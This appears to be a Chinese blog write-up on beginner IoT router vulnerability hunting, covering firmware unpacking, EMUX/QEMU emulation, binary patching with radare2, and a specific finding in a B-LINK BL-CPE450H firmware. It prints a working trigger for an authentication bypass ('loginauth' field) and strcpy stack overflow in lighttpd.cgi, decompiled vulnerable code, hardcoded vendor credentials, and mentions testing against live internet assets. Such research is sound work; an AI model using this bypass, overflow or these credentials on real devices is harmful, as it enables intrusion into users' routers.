留言
记录一次 "低门槛" 路由器漏洞挖掘,流程简单清晰,就像在漏洞靶场里通关一样。
本来不太想写,毕竟难度很低、含金量一般,水了几张证书,随手记录一下吧。
浅谈 IoT 漏洞挖掘
市面上家用路由器、智能摄像头、智能家居、工业小型设备基本都属于 IoT 物联网设备,这类设备普遍开发成本低、安全意识薄弱,代码写得比较随意,防护机制简陋,是漏洞高发重灾区。
不同于互联网网站漏洞,IoT 挖洞大多围绕固件分析、二进制逆向、接口测试、设备仿真展开,门槛有高有低。入门玩法不用精通高深逆向,靠着固件解包、抓接口测试、简单 Fuzz 就能挖出大量未授权、命令执行、硬编码密码这类实用漏洞,上手快、出洞效率高,很适合新手练手攒成果。
而且绝大多数老旧 IoT 设备几乎没有任何内存保护、权限校验形同虚设,很容易挖到栈溢出、权限绕过这类经典漏洞。
日常挖掘既能熟悉嵌入式设备运行逻辑,也能轻松提交漏洞平台拿证书,当作技术积累再合适不过。
寻找目标
挖漏洞不难,难在找目标、搞到源码,前期核心都是信息收集。
在开始分析之前,必须先确定目标,以下是推荐的搜集方式:

1.在购物平台找网络设备,比如:路由器、摄像头,然后看品牌是哪个公司的。

2.在 Github 上找资源搜 Iot 相关的资料或者项目,这是我比较推荐的一个项目 IoTFirmwareAnalysisGuide,记录了一些厂商链接跟相关技术文档。

3.看 CVE、CNVD、NCC 等漏洞库,搜 路由器、IoT、固件 关键词,找已公开漏洞的型号或公司。
固件提取
找到目标后,一般官网上都有路由器升级固件,如果没有就找台设备 升级固件 然后抓包下载。
当然还有其他办法,可以看推荐的那个 IoTFirmwareAnalysisGuide 项目里有写。

基本流程:下载固件 → binwalk 解包 → 逆向分析 → 定位漏洞 → 本地验证 → 互联网实测 → 提交报告 → 漏洞闭环。
部分固件会加密,无法直接解包,可通过旧版固件逆向解密算法。
或从设备中 dump 密钥与明文固件,也能在 GitHub 找解密脚本。
binwalk -Me 固件文件 --run-as=root再提供个在线固件解包网站。
固件加密
怎么判断一个固件是否加密呢?

binwalk -E 固件文件 --run-as=root这里用 腾达AX 系列路由器举例,binwalk -E 跑一下固件,熵值全程快接近 1.0,那这固件就是加密或者强压缩,直接解包肯定解不开。
固件实在解不了密,不一定非要做白盒审计,黑盒测也完全够用。
直接用万能的 Fuzz 对着接口一顿乱塞数据,也能挖出漏洞。
互联网资产

一般解包后,我做的第一件事,是先确定指纹,很简单解包里会有前端代码,我一般就搜 .html、.icon、.png 直接上传 Fofa 找 icon 图标的 hash,或者 body、title 关键字。

有的设备在互联网压根就没资产,就纯内网使用,如果说想挖 CNVD/CNNVD/NCC 拿证书的话。
找不到资产那就以漏洞情报的方式提交,不用找资产,只要本地复现 + 完整技术证明 审核通过就发证书。
固件仿真
我比较推荐使用 qemu、emux 这类工具。

目前能完整仿真起来的设备并不算多,完整固件仿真难度普遍较高,或者买个路由器挖(滑稽)
很多情况下还需要修改程序逻辑、打补丁才能正常运行。
最推荐方式:qemu 单个程序测试(这也是常见的IoT漏洞挖掘方式)
EMUX 完整运行
先把 EMUX 项目下载到本地,比较推荐用 Kali Linux 安装前需要确认 docker 是否能正常运行。
git clone --depth 1 --single-branch https://github.com/therealsaumil/emux.git如果下载慢,可以自己挂代理,到 Github 上下载项目源码,然后解压执行以下命令。
cd emux
./build-emux-volume
./build-emux-docker安装完成后就能使用了,EMUX 目录结构:
C:.
├─docs # 文档、说明与截图存放目录
│ └─img # 文章/报告所用图片
├─files # emux 运行相关文件总目录
│ ├─emux # emux 固件仿真环境核心目录
│ │ ├─firmware # 待仿真固件存放目录,按设备型号分类
│ │ │ ├─AC15 # 路由器 AC15 固件相关
│ │ │ │ ├─flashmem
│ │ │ │ ├─kernel
│ │ │ │ └─preload
│ │ │ ├─ARCHERC9
│ │ │ │ ├─kernel
│ │ │ │ └─preload
│ │ │ ├─DCS935L # 摄像头 DCS935L 固件
│ │ │ │ └─kernel
│ │ │ ├─DIR615C # DIR615C 路由器固件
│ │ │ │ └─kernel
│ │ │ ├─DV-ARM # ARM 架构调试固件
│ │ │ │ └─kernel
│ │ │ ├─DV-MIPSEB # MIPS 大端调试固件
│ │ │ │ └─kernel
│ │ │ ├─DV-MIPSEL # MIPS 小端调试固件
│ │ │ │ └─kernel
│ │ │ ├─PH0WNCTF # CTF IoT 题目固件
│ │ │ │ └─kernel
│ │ │ └─TRI227WF # 路由器 TRI227WF 固件
│ │ │ └─kernel
│ │ ├─hostfs # 与仿真系统共享的文件系统
│ │ ├─run # 仿真启动脚本、运行日志
│ │ └─template # 通用仿真模板(内核、预加载配置)
│ │ ├─kernel
│ │ └─preload
│ ├─etc # 系统及工具配置
│ │ ├─local.d
│ │ └─tinyproxy # 代理配置
│ └─home
│ └─r0 # 调试用户环境
│ ├─config
│ │ └─pip
│ ├─dircolors
│ ├─gef # GDB-GEF 调试环境配置
│ └─ssh
└─workspace # 个人工作目录,用于漏洞分析、脚本编写EMUX 默认自带了固件在 firmware 文件夹里,我们需要注意的就是这个,下载的固件解包后都要放到这里面。
可以参考它自带的固件模板,然后配置下 firmware 文件夹里的 devices 就行。

这里我以 BL‑CPE450H 固件为例(已通过binwalk解包)。

在固件目录下创建 config、nvram.ini 及 kernel 文件夹,内容如下:
# config 配置
# Tinysploit MIPSEL 仿真配置
id=firmware/BL-CPE450H # 固件型号与路径
#nvram=nvram.ini # NVRAM配置(未启用)
rootfs=cpio-root # 指定根文件系统
randomize_va_space=0 # 关闭ASLR,便于漏洞调试
legacy_va_layout=1 # 兼容旧设备内存布局
mount_dev_tree=1 # 挂载/dev设备目录
mount_proc=1 # 挂载/proc进程目录
mount_sys=1 # 挂载/sys系统目录
initcommands="/etc_ro/rcS;/bin/sh" # 启动脚本+交互shell配置实在不懂,可以问 AI 比如 initcommands 的配置,每个固件都不同,有的不用 /etc_ro/rcS;。
# nvram.ini 配置(固件仿真所需硬件参数,扣代码填数据)
WebInit=1 # Web管理界面初始化开关
OperationMode=1 # 设备工作模式
Login=admin # 后台登录账号
Password=admin # 后台登录密码
lan_ipaddr=192.168.1.1 # 内网管理地址
lan_netmask=255.255.255.0 # 子网掩码
SSID=B-LINK # WiFi名称
blinkssid=B-LINK # 设备默认WiFi名称
AuthMode=WPAPSK # WiFi加密方式
HideSSID=0;0; # 是否隐藏WiFi(0=不隐藏)# devices 配置
firmware/BL-CPE450H,qemu-system-mipsel,malta,,,128M,vmlinux-2.6.32.5-malta-mipsel,MALTA2,BL-CPE450H MIPSLE Router这些配置跟 devices 文件内容要对应的,比如用到小端序 qemu-system-mipsel。
内核用 vmlinux-2.6.32.5-malta-mipsel 那么 kernel 文件夹必须要有这个文件。
不太懂可以参考官方自带的模板。

./build-emux-docker # 构建镜像,让所有配置生效配置写完必须跑一遍这条命令,改了配置也要重新执行,不然不生效。

./run-emux-docker # 启动固件仿真环境最后执行这条命令,进行启动。
# [EMUX-DOCKER 🐳] /home/r0# launcher
launcher # 启动仿真到 EMUX 交互界面再输入以上命令。

发现已经添加成功了,鼠标点击选择下 BL-CPE450H 然后 OK。

输入 root 账号,进行回车。

有三种模式:
- 0:默认宿主机 shell,不启动仿真,改配置用
- 1:完整启动路由器,正常用/测漏洞用
- 2:直连路由器控制台,调试/排错用
我选第二个,直接启动完整路由器。

不出意外的情况下,还是出意外了,第一个问题:goahead 缺 nvram_daemon。
既然仿真环境没有这个守护进程,不折腾了,直接反编译 goahead 二进制打补丁,跳过 nvram 检查。
哪里卡壳就 patch 哪里,也可借助 AI 找出需跳过的判断逻辑。
// goahead 代码
int __fastcall ftext(int argc, const char *argv, const char *envp)
{
int v3;
int v4;
int v5;
int v6;
int v7;
int v8;
const char *v9;
_BYTE *v10;
_BYTE *v11;
int v12;
unsigned int v13;
int v14;
int v15;
int v16;
_BYTE v18[4];
int v19;
char v20[200];
int v21;
bopen(0, 61440, 1);
signal(13, 1);
v3 = fopen("/var/run/goahead.pid", "w+");
if ( v3 ) // NOP 0x004052F8
{
v4 = getpid();
fprintf(v3, "%d", v4);
fclose(v3);
while ( !GetPid("nvram_daemon") ) // NOP 0x00405380
sleep(5);
memset(v20, 0, sizeof(v20));
signal(24, sub_4492B8);
signal(17, 1);
signal(26, hotPluglerHandler);
v5 = open("/dev/gpio", 0);
v6 = v5;
if ( v5 < 0 ) // NOP 0x00405404
{
perror("/dev/gpio");
}
else if ( ioctl(v5, 17, 1) >= 0 ) // NOP 0x00405424
{
}
else if ( ioctl(v6, 8, v7) >= 0 ) // NOP 0x00405440
{
}
else if ( ioctl(v6, 10, v18) >= 0 )
{
close(v6);
signal(16, sub_449240);
}
else
{
perror("ioctl");
close(v6);
}
signal(31, WPSSingleTriggerHandler);
if ( sub_4493D8() >= 0 ) // NOP 0x004054C0
{
v8 = nvram_bufget(0, "OperationMode");
if ( !atoi(v8) ) // NOP 0x00405500
{
memset(v20, 0, sizeof(v20));
sprintf(v20, "echo \"1;0.0.0.0;00:00:00:00:00:00\" > /proc/%s/DHCP_Dns", "mt7628");
doSystem(v20);
}
if ( initInternet() >= 0 ) // NOP 0x0040551C
{
v9 = (const char *)nvram_bufget(0, "lan_ipaddr");
socketOpen();
v10 = (_BYTE *)nvram_bufget(0, "Login");
v11 = (_BYTE *)nvram_bufget(0, "Password");
umOpen();
umAddGroup("adm", 7, 3, 0, 0);
if ( v10 && *v10 && v11 && *v11 )
{
umAddUser(v10, v11, "adm", 0, 0);
umAddAccessLimit("/", 3, 0, "adm");
}
else
{
error("goahead.c", 544, 2, "gohead.c: Warning: empty administrator account or password");
}
if ( v9 ) // NOP 0x00405614
{
v12 = inet_addr(v9);
if ( v12 != -1 ) // NOP 0x00405634
{
strcpy(v20, "/etc_ro/web");
v21 = v12;
websSetDefaultDir(v20);
v21 = inet_ntoa(v21);
v13 = strlen(v21) + 1;
v14 = 128;
if ( v13 < 0x80 )
v14 = v13;
ascToUni(v18, v21, v14);
websSetIpaddr(v18);
websSetHost(v18);
websSetDefaultPage("login.asp");
websSetPassword("");
websOpenServer(80, 5);
websUrlHandlerDefine("", 0, 0, websSecurityHandler, 1);
websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0);
websUrlHandlerDefine("/cgi-bin", 0, 0, websCgiHandler, 0);
websUrlHandlerDefine("", 0, 0, websDefaultPage, 2);
formDefineCGIjson();
websUrlHandlerDefine("/", 0, 0, sub_449360, 0);
if ( !*(_BYTE *)nvram_bufget(0, "Password") )
{
doSystem("echo 'admin:x:0:admin' > /etc/group");
doSystem("echo 'admin:TcigdJt3/FTaQ:0:0:Adminstrator:/:/bin/sh' > /etc/passwd");
doSystem("echo 'admin::0:0:Adminstrator:/:/bin/sh' > /etc/passwd-");
}
v15 = nvram_bufget(0, "Login");
strcpy(&g_User, v15);
v16 = nvram_bufget(0, "Password");
strcpy(&g_Pass, v16);
strcpy(&g_baseUser, "adminblink");
strcpy(&g_basePass, "blinkadmin");
while (1)
{
if ( socketReady(-1) || socketSelect(-1, 1000) )
socketProcess(-1);
websCgiCleanup();
emfSchedProcess();
}
}
error("goahead.c", 572, 2, "initWebs: failed to convert %s to binary ip data", v9);
}
else
{
error("goahead.c", 567, 2, "initWebs: cannot find lan_ip in NVRAM");
}
}
}
}
else
{
error("goahead.c", 240, 2, "goahead.c: cannot open pid file");
}
return -1;
}比较懒 IDA Pro 也没装插件,一个一个打太麻烦了,这里我用 radare2 -w 直接刷过去。

# r2 -w goahead
aaa
oo+
s 0x00405380
wx 00000000
s 0x00405404
wx 00000000
s 0x00405424
wx 00000000
s 0x00405440
wx 00000000
s 0x00405614
wx 00000000
s 0x00405634
wx 00000000
s 0x004052F8
wx 00000000
s 0x004054C0
wx 00000000
s 0x00405500
wx 00000000
s 0x0040551C
wx 00000000
qs 0x00405380 wx 00000000 → while (!GetPid("nvram_daemon")) sleep(5); // NOP
s 0x00405404 wx 00000000 → if ( v5 < 0 ) // NOP
s 0x00405424 wx 00000000 → if ( ioctl(v5, 17, 1) >= 0 ) // NOP
s 0x00405440 wx 00000000 → if ( ioctl(v6, 8, v7) >= 0 ) // NOP
s 0x00405614 wx 00000000 → if ( v9 ) // NOP
s 0x00405634 wx 00000000 → if ( v12 != -1 ) // NOP
s 0x004052F8 wx 00000000 → if ( v3 ) // NOP
s 0x004054C0 wx 00000000 → if ( sub_4493D8() >= 0 ) // NOP
s 0x00405500 wx 00000000 → if ( !atoi(v8) ) // NOP
s 0x0040551C wx 00000000 → if ( initInternet() >= 0 ) // NOP
q以上是对应 nop 地址与代码位置。
chmod -R 777 BL-CPE450H 修改完要运行一定要给权限,不然仿真会没权限运行失败。

打完补丁后,重复上面的 EMUX 操作重新启动,就成功能访问了。
| 序号 | 外部端口(Linux系统) | 内部端口(模拟的系统) |
|---|---|---|
| 1 | 20080 | 192.168.100.2:80 |
| 2 | 20443 | 192.168.100.2:443 |
| 3 | 28080 | 192.168.100.2:8080 |
| 4 | 24433 | 192.168.100.2:4433 |
| 5 | 9999 | 192.168.100.2:9999 |
这是端口映射表,比如仿真的路由器访问 web 端口是 8080 ,在实体机访问 28080。
QEMU 单个运行

像 cgi-bin、bin 目录里放的都是可执行程序,只是芯片架构(MIPS、ARM 等)跟电脑不同,运行不了,要用 QEMU 来模拟。
可以通过 file 命令 查看程序的架构、字节序,区分是大端序还是小端序,方便后续仿真。
这里显示 LSB 表示小端序,对应使用 qemu-mipsel,MSB 表示大端序,对应使用 qemu-mips。
| 架构标识 | 端序 | QEMU 对应命令 |
|---|---|---|
| MIPSEL (LSB) | 小端序 | qemu-mipsel |
| MIPS (MSB) | 大端序 | qemu-mips |
| ARM (LSB) | 小端序 | qemu-arm |
| ARM64 (LSB) | 小端序 | qemu-aarch64 |
这里以 busybox 举例也是成功运行了,那么就可以通过这种方式单个程序测试漏洞了。
漏洞挖掘
未授权漏洞
IoT 未授权是最好的突破口,因为有的设备根本不需要认证,当然也会遇到授权后漏洞利用的情况。
那么怎么测未授权呢?非常简单,说说我平时常用的操作:
- 1.先登录路由器,用
Yakit抓包,功能都点一遍,收集接口,进行模糊测试。 - 2.解包固件,在代码里找接口,然后用
Yakit批量请求接口,不加任何头部认证。 - 3.查找该设备有没有公开漏洞,从已有的报告或文章里了解漏洞、构造请求接口。
- 4.硬核一点就纯看代码配合AI,不用仿真直接看出接口跟漏洞,然后线上实测。
cgi-bin 本质就是文件系统,最容易出现未授权访问。
栈溢出漏洞
这是我挖到的最简单的栈溢出基于 cgi-bin 未授权,程序代码也没做任何防护。

# 本地 QEMU 模拟运行,绕过认证 + 栈溢出
echo '{"type":"getmanpwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB","loginauth":""}' | CONTENT_LENGTH=500 AUTHORIZATION="" qemu-mipsel -cpu 34Kf -L . ./www/cgi-bin/lighttpd.cgi通过 qemu-mipsel 直接本地运行路由器固件中的 lighttpd.cgi,携带 loginauth 字段即可绕过鉴权,并通过超长字符串触发栈溢出漏洞。

// lighttpd.cgi 代码
int __fastcall ftext(int argc, const char **argv, const char **envp)
{
int v3; // $s2
char *v4; // $a0
int v5; // $s1
int v6; // $s0
int v7; // $v0
int v8; // $a0
_BYTE v10[16384]; // [sp+18h] [-4000h] BYREF
memset(v10, 0, sizeof(v10));
v3 = getenv("AUTHORIZATION"); // 获取请求头中的 Authorization 认证信息
v4 = (char *)getenv("CONTENT_LENGTH");
if ( !v4 )
v4 = "";
v5 = strtol(v4, 0, 10) + 1;
if ( v5 >= 2 )
{
v6 = malloc(v5);
if ( v6 )
{
if ( sub_400E98() )
{
LABEL_12:
free(v6);
return 0;
}
memset(v6, 0, v5);
fgets(v6, v5, stdin); // 读取 POST 提交的内容
v7 = strstr(v6, "loginauth"); // 检查提交的参数里有没有 loginauth
// 如果 POST 数据 包含 loginauth 字段
if ( !v7 )
{
// 没有 loginauth 才会校验账号密码
if ( !check_auth(v3) )
{
// 认证失败返回 {"result":8}
strcpy(v10, "{\"result\":8}");
sub_400BE0();
LABEL_11:
puts(v10);
goto LABEL_12;
}
v8 = v6;
}
// 只要 POST 包含 loginauth 字段,直接跳过密码校验
// 无需账号、无需密码、无需 token,直接进入核心功能
share_func(v8, v10); // 溢出点在 share_func 函数里
goto LABEL_11;
}
}
return 0;
}
这里我通过 grep -r 快速定位 share_func 函数在哪个动态链接库里。

找到后 libblinkapi.so 用 IDA Pro 反编译,审计下就能发现 strcpy(v16, v11); 是有问题的。
// libblinkapi.so
// 参数 a1 = 传入的JSON字符串(包含type和loginauth)
// 参数 a2 = 输出缓冲区,用于存放返回结果
int __fastcall share_func(int a1, _BYTE *a2)
{
int v4; // $v0
int v5; // $s2
_BYTE *v6; // $a0
const char *v7; // $a1
int ObjectItem; // $v0
int v10; // $s3
int v11; // $a1
int v12; // $s3
int v13; // $s6
char *v14; // $s4
_BYTE v15[16384]; // [sp+18h] [-4100h] BYREF
char v16[256]; // [sp+4018h] [-100h] BYREF 局部变量,仅256字节栈空间
memset(v15, 0, sizeof(v15));
// 1. 解析我们传入的JSON数据:{"type":"getmanpwdAAA...","loginauth":""}
v4 = cJSON_Parse(a1);
v5 = v4;
if ( !v4 )
{
v6 = v15;
v7 = "{\"result\":7}";
LABEL_5:
strcpy(v6, v7);
return -1;
}
// 2. 提取JSON中的 "type" 字段内容
// 也就是我们传入的:getmanpwd + 超长AAA...BBB...字符串
ObjectItem = cJSON_GetObjectItem(v4, "type");
if ( !ObjectItem )
{
strcpy(v15, "{\"result\":7}");
cJSON_Delete(v5);
v6 = a2;
v7 = v15;
goto LABEL_5;
}
// 拿到 type 字符串指针
v10 = *(_DWORD *)(ObjectItem + 16);
// 清空 v16 缓冲区(大小只有 256 字节)
memset(v16, 0, sizeof(v16));
v11 = v10;
v12 = 0;
// 危险函数:strcpy(目标,源)
// 目标:v16 只有 256 字节栈空间
// 源:我们传入的超长 type 字符串(几百字节)
// 直接无限制拷贝 → 覆盖栈返回地址 → 栈溢出
strcpy(v16, v11);
v13 = strlen(v16);
do
{
v14 = &blink_handle[68 * v12];
if ( v13 == strlen(v14) && !memcmp(v16, v14, v13) )
{
(*((void (__fastcall **)(int, _BYTE *))v14 + 16))(a1, v15);
goto LABEL_12;
}
++v12;
}
while ( v12 != 124 );
sprintf(v15, "{\"type\":\"%s\",\"result\":6}", v16);
LABEL_12:
cJSON_Delete(v5);
strcpy(a2, v15);
return 0;
}1.loginauth → 绕过认证
2.type 后面跟超长字符串
3.进入 share_func 后,执行 strcpy(v16, 超长字符串)
4.v16 只有 256字节,直接 → 栈溢出
那么就可以基于这个突破口 get shell 了,没写 exp 构造也很简单。
硬编码漏洞
这种最好挖了,基本像什么路由器登录密码,固件解包密码都是硬编码写在固件里。

硬编码漏洞直接用 firmwalker、IDA、grep、strings 搜敏感关键字就行。
固件解包之后,拿 strings、grep 一顿搜 password、admin、key、secret、token 这些关键词。
用 firmwalker 扫更省事,会自动帮你找出写死的敏感信息。
拒绝服务漏洞
常见的几种路子:
1.接口疯狂发包,看设备会不会直接卡死、重启、断服务。
2.给接口传超大包、超长参数,撑爆内存或进程,直接打宕。
3.对一些没校验的 CGI 接口,无脑 Fuzz 畸形数据,很容易触发崩溃。
4.有些逻辑漏洞也能造成 DoS,比如死循环、无限创建进程,设备直接跑满卡死。
5.未授权接口反复调用,把设备资源占满,服务直接不可用。
后门漏洞
常见的几种路子:
1.有些厂商为了方便后期维护调试,会特意预留专用后门账号或接口。
2.开发测试阶段加的临时入口、调试功能,上线前没及时删掉。
3.代码审核不严格,隐藏的后门逻辑直接留在固件里没被发现。
4.还有部分后门是隐蔽的硬编码口令、万能密码,同型号设备通用。
5.解包固件或者黑盒测试接口,很容易找到这些隐藏入口直接拿权限。
远程命令执行漏洞
常见的几种路子:
1.接口对传入的参数没做过滤,直接拼接到系统命令里执行,可控点直接拿权限。
2.一些 CGI 脚本处理用户数据时不严谨,恶意参数直接被当成系统命令运行。
3.上传点、恢复配置、固件升级等功能没校验内容,被植入恶意命令执行。
4.代码里直接用 system、popen 这类函数,且外部可控,极易被利用。
5.未授权访问的命令调用接口,构造 payload 就能远程执行任意命令。
组合利用 这也是我最喜欢的环节,一步一步绕过限制、构造 payload。
最终打出完整利用链,整个过程特别让人兴奋,就讲这么多了。
结尾
挖洞方法论(个人研究)
| 序号 | 思路口诀 | 核心用法 | 适用场景 |
|---|---|---|---|
| 1 | 先媒介后漏洞 | 从入口、交互点入手遍历测试与Fuzz,高效批量测试 | 日常刷洞、实战渗透、快速量产出洞 |
| 2 | 先漏洞后媒介 | 预设漏洞类型,反向寻找可触发路径 | 深挖0day、深度安全研究、挖掘高端漏洞 |
| 3 | 先资产后漏洞 | 全面摸排域名、端口、服务等资产逐一测试 | 常规打点、SRC批量挖洞,稳健积累漏洞 |
| 4 | 先漏洞后资产 | 持有POC、1day、0day,全网匹配对应目标资产 | 漏洞爆发批量收割、红队快速拿分 |
| 5 | 先权限后漏洞 | 梳理各级账号权限,直击权限校验短板 | 挖掘未授权、横向越权等高价值业务漏洞 |
| 6 | 先功能后逻辑 | 走完完整业务流程,寻找流程逻辑缺陷 | 挖掘权限绕过、数据篡改、业务流程漏洞 |
| 7 | 先流量后代码 | 抓取分析请求流量与参数,纯黑盒排查隐患 | 无源码环境,零基础高效黑盒挖洞 |
| 8 | 先输入后解析 | 构造畸形特殊输入,冲击后端数据解析模块 | 文件解析、XML、富文本类漏洞挖掘 |
| 9 | 先边界后溢出 | 拿捏数据长度、字符、数值边界临界点 | 字符串截断、权限绕过、栈堆溢出类漏洞 |
| 10 | 先默认后配置 | 优先检测默认账号、路径、出厂配置 | 运维疏漏漏洞,低成本快速挖到通用弱洞 |
| 11 | 先依赖后本体 | 优先审计第三方组件、框架、中间件 | 快速利用通用组件漏洞,降低挖洞难度 |
| 12 | 先同源后跨域 | 先突破同域权限,再攻坚跨域相关防护 | 前端安全、单点登录、子域权限突破 |
| 13 | 先历史后现网 | 调取历史域名、备份文件、老旧源码 | 发掘遗留废弃接口、陈年未修复漏洞 |
| 14 | 先会话后身份 | 窃取会话凭证顶替合法身份,绕过登录校验 | 免密登录、身份劫持、无声获取后台权限 |
| 15 | 先可控后利用 | 围绕外部可控点位,定向构造攻击载荷 | 命令执行、SQL注入、任意文件读写通用打法 |
实操挖洞从来不是死啃理论,多调试、多踩坑、多实战才能吃透各类设备漏洞逻辑。IoT 领域漏洞存量巨大,只要沉下心深耕,不管是练手积累证书,还是深挖原生零日漏洞,都能收获满满,技术之路贵在坚持与实操。
最后送给看文章的小伙伴们:实践出真理。
评论 (0)